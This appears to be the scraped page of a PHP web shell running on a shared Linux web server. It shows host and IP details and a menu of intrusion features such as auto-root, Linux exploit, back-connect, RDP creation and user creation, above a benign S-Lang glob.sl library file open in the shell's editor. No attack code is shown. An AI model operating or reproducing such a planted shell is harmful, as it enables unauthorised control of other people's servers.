Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
slsh /
[ HOME SHELL ]
Name
Size
Permission
Action
cmaps
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
rline
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
arrayfuns.sl
1.85
KB
-rw-r--r--
autoload.sl
460
B
-rw-r--r--
base64.sl
19
B
-rw-r--r--
chksum.sl
1.58
KB
-rw-r--r--
cmdopt.sl
7.58
KB
-rw-r--r--
csv.sl
16.35
KB
-rw-r--r--
fcntl.sl
35
B
-rw-r--r--
fork.sl
17
B
-rw-r--r--
fswalk.sl
2.36
KB
-rw-r--r--
glob.sl
2.42
KB
-rw-r--r--
histogram.sl
2.98
KB
-rw-r--r--
iconv.sl
35
B
-rw-r--r--
json.sl
5.97
KB
-rw-r--r--
listfuns.sl
3.04
KB
-rw-r--r--
onig.sl
17
B
-rw-r--r--
pcre.sl
1.21
KB
-rw-r--r--
png.sl
4.02
KB
-rw-r--r--
print.sl
7.61
KB
-rw-r--r--
process.sl
9.83
KB
-rw-r--r--
profile.sl
19.88
KB
-rw-r--r--
rand.sl
4.28
KB
-rw-r--r--
readascii.sl
5.24
KB
-rw-r--r--
require.sl
1.27
KB
-rw-r--r--
select.sl
37
B
-rw-r--r--
setfuns.sl
4.8
KB
-rw-r--r--
sldb.sl
2.11
KB
-rw-r--r--
sldbcore.sl
18.1
KB
-rw-r--r--
sldbsock.sl
7.43
KB
-rw-r--r--
slshhelp.sl
536
B
-rw-r--r--
slshrl.sl
9.23
KB
-rw-r--r--
slsmg.sl
35
B
-rw-r--r--
socket.sl
151
B
-rw-r--r--
stats.sl
15.07
KB
-rw-r--r--
stkcheck.sl
2.62
KB
-rw-r--r--
structfuns.sl
2.05
KB
-rw-r--r--
sysconf.sl
20
B
-rw-r--r--
termios.sl
39
B
-rw-r--r--
varray.sl
37
B
-rw-r--r--
zlib.sl
2.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : glob.sl
% Copyright (C) 2012-2017,2018 John E. Davis % % This file is part of the S-Lang Library and may be distributed under the % terms of the GNU General Public License. See the file COPYING for % more information. %--------------------------------------------------------------------------- private define needs_globbing (path) { return (path != str_delete_chars (path, "*?[")); } private define do_the_glob (dir, pat) { variable files; if (dir == "") files = listdir ("."); else files = listdir (dir); if (files == NULL) return String_Type[0]; files = [files, ".", ".."]; if ((pat[0] == '?') || (pat[0] == '*')) { files = files [where (strncmp (files, ".", 1))]; } if (length (files) == 0) return files; pat = glob_to_regexp (pat); variable i = where (array_map (Int_Type, &string_match, files, pat, 1)); if (length (i) == 0) return String_Type[0]; files = files[i]; if (dir == "") return files; return array_map (String_Type, &path_concat, dir, files); } private define is_dir (dirs) { variable n = length(dirs); variable ok = Char_Type[n]; _for (0, n-1, 1) { variable i = (); variable st = stat_file (dirs[i]); if (st == NULL) continue; ok[i] = stat_is ("dir", st.st_mode); } return ok; } define glob (); % recursion define glob () { variable patterns = __pop_args (_NARGS); if (length (patterns) == 0) throw UsageError, "files = glob (patterns...)"; patterns = [__push_args (patterns)]; variable list = String_Type[0]; foreach (patterns) { variable pat = (); !if (needs_globbing (pat)) { if (NULL != stat_file (pat)) list = [list, pat]; continue; } variable base = path_basename (pat); variable dir = ""; if (base != pat) dir = path_dirname (pat); if (needs_globbing (dir)) { variable dirs = glob (dir); !if (strlen (base)) { list = [list, dirs[where(is_dir (dirs))]]; continue; } foreach dir (glob (dir)) list = [list, do_the_glob (dir, base)]; continue; } list = [list, do_the_glob (dir, base)]; } return list; } #ifntrue define slsh_main () { variable files = glob (__argv[[1:]]); foreach (files) { variable f = (); fprintf (stdout, "%s\n", f); } } #endif $1 = path_concat (path_dirname (__FILE__), "help/glob.hlp"); if (NULL != stat_file ($1)) add_doc_file ($1); provide ("glob");
Close